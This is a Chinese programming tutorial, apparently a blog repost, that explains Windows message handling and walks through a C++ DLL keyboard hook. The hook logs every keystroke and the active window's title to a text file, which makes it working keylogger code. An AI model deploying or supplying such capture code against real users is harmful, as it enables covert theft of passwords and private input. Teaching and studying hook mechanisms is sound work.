c++ 实现键盘钩子

c++ 实现键盘钩子一.总体概述  主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操作系统的消息机制,动态库等一些知识二.具体的实现  首先我们要重新建立一个windows桌面应用程序,然后我们运行一下我们会看到一个窗口,我们创建桌面应用程序而不创建控制台程序是因为桌面应用程序,这里面最主要的原因控制应用程序模拟DOS系统的那种CUI操作,…

大家好,又见面了,我是你们的朋友全栈君。

一.总体概述

  主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操作系统的消息机制,动态库等一些知识

二.具体的实现

  首先我们要重新建立一个windows桌面应用程序,然后我们运行一下我们会看到一个窗口,我们创建桌面应用程序而不创建控制台程序是因为桌面应用程序,这里面最主要的原因控制应用程序模拟DOS系统的那种CUI操作,不是直接用消息驱动的,而这里我们采用的windows应用程序是依靠消息驱动的(这里我们要注意的是DOS和windows的区别,DOS下的任何程序都是使用顺序的、过程驱动的程序设计方法。这种程序都有一个明显的开始、明显的过程以及一个明显的结束,因此通过程序就能直接控制程序事件或过程的全部顺序。即使是在处理异常时,处理过程也仍然是顺序的、过程驱动的结构。而Windows的驱动方式则是事件驱动的,即程序的流程不是由事件的顺序来控制,而是由事件的发生来控制,所有的事件是无序的,所为一个程序员,在编写程序时,并不知道用户会先按下哪个按纽,也就不知道程序先触发哪个消息。因此我们的主要任务就是对正在开发的应用程序要发出的或要接收的消息进行排序和管理。事件驱动程序设计是密切围绕消息的产生与处理而展开的,一条消息是关于发生的事件的消息。 )

应用程序结构的简要讲解:

  vs创建的文件中首先由三种函数构成注册窗口(包含窗口的一些基本的信息),初始化窗口(窗口的初始化函数),消息处理的窗口(回调函数,dispatchmsg()后就会调用这个回调函数,让应用程序处理各种的消息,窗口的各种的消息都是在这里定义的),然后我们可以通过主循环的消息循环机制不断的Getmsg()来阻塞的等待操作系统分发到该应用消息队列的消息,通过translate来翻译消息然后,dipach分发掉,这就是该应用程序的运行机制。

    // 主消息循环: 
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

  知道上面的原理后我们可以在相应的消息下安装钩子和删除钩子就可以了(WM_CREATE安装钩子,WM_DESTROY卸载钩子),接下来我们采用动态库的方式来编写钩子的核心函数,我们新建一个空的静态库(因为钩子的设置需要我们新建立一个动态库),然后在头文件写下如下:

#pragma once

#include <Windows.h>
#include <stdio.h>

//启动钩子
extern  "C" _declspec(dllexport) bool installHock();

//卸载钩子
extern  "C" _declspec(dllexport) bool unistallHock();

  其中我们采用extern “c” 的方式是因为c++的编译器往往会将函数名字进行修改为了C语言和C++都能调用dll文件中API函数,我们希望动态链接库文件在编译时,导出函数的名称不要发生变化,而在一般的调用的时候我们要采用_declspec()即可,而在调用端我们想引用这个静态库,首先现将编译好的静态库(.lib)放置在所要调用的cpp文件的同一个目录下,然后写下如下的代码:

//引入动态库
#pragma comment(lib , "hockdll")
//启动钩子
extern  "C" _declspec(dllimport) bool installHock();
//卸载钩子
extern  "C" _declspec(dllimport) bool unistallHock();

  那么我们接下来要做的就是专心的写我们的键盘钩子的核心函数:(第一个函数是设置钩子的回调函数,一旦键盘有所操作我们将触发,这里的回调函数的格式我们可以通过转到定义来查看,windows的API的回调函数都会在函数名字前加上一个callback)

HHOOK g_hook;

LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam)
{
	char szWriteText[256];
	char szWindowTittle[256];
	char szKeyTest[256];

	HWND hWnd;
	hWnd = ::GetActiveWindow();
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow();
		if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);
	}
	//得到窗口的标题
	GetWindowTextA(hWnd, szWindowTittle, 256);
	//获取在在窗口输入的按键的内容
	if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam);
	if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam);

	GetKeyNameTextA(lParam, szKeyTest, 256);
	sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest);
	//保存到文件中
	FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a");
	if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);
	fwrite(szWriteText, 1, strlen(szWriteText), fp);
	fclose(fp);
	return CallNextHookEx(g_hook, code, wParam, lParam);
}

//启动钩子
bool installHock()
{
	//获取按键的信息
	g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL);
	if (g_hook == NULL) return false;

	MessageBox(NULL,L"设置钩子成功", L"提示",NULL);
	return true;
}

//卸载钩子
bool unistallHock()
{
	return UnhookWindowsHookEx(g_hook);
}

  

 

转载于:https://www.cnblogs.com/yskn/p/9513020.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/141984.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • es数据库查询API「建议收藏」

    es数据库查询API「建议收藏」1.背景ES数据库是非关系型数据库2.ES数据库优点1.存储优化内存中使用有限状态机FST优化本质上是前缀树加上后缀树的结合,利用这个数据结构可以把Term更节省内存地放置并查询,它有着字典树的查询时间复杂度,但是由于做了后缀合并会更节约内存传统Bitmap优化使用Bitmap来记录文档的Id,每个bit对应一个文档,表示它是否存在。2.联合查询优化若要对多个t…

    2022年5月24日
    273
  • Nessus漏洞扫描教程之配置Nessus

    Nessus漏洞扫描教程之配置Nessus

    2022年2月3日
    36
  • java并发编程实战wwj———————-第一阶段————–27-28-29-30

    java并发编程实战wwj———————-第一阶段————–27-28-29-30代码:chapter9sleep:是Threa的方法,sleep不释放锁,sleep不用synchronized,不需要被唤醒。wait:所有对象的方法,wait释放锁,用synchronized,要被唤醒。如何使用这个案例:切换m1和m2方法。packagechapter9;importjava.util.stream.Stream;/************…

    2022年9月27日
    2
  • JavaScript之ES6数组排序 高逼格!

    JavaScript之ES6数组排序 高逼格!前言:针对于前端开发者来讲、数组排序的应用场景其实并不多,大多数情况下都是后台数据排序之后再返回给前端。但是很多面试题中会经常遇到数组排序的问题,经典案例有冒泡排序、插入排序、选择排序等等…逻辑性比较强硬。为了追求完美、拒绝花里胡哨,所以今天写一篇以ES6相关知识实现排序的文章、并且挂载至原型链上方便使用,希望对大家的开发有所帮助!技术点:ES6中sort()方法、箭头函数,p…

    2022年5月2日
    44
  • Navicat Premium 15激活工具下载破解方法

    Navicat Premium 15激活工具下载破解方法,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月15日
    100
  • Tfs权限设置_设置朋友圈权限对方知道吗

    Tfs权限设置_设置朋友圈权限对方知道吗tfs账号分两种情况,一种是基于AD域的 一种是基于Windows账号要使用基于AD域的,tfs必须基于域用户安装。一般会单独建一个tfs的域帐号用来管理tfs用。基于windows的多数都是直接用administrator账号了。tfs增加用户的时候,基于域的直接选择域用户,基于windows账号的直接选择本机的windows账号即可添加用户到tfs后,可

    2025年7月29日
    3

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号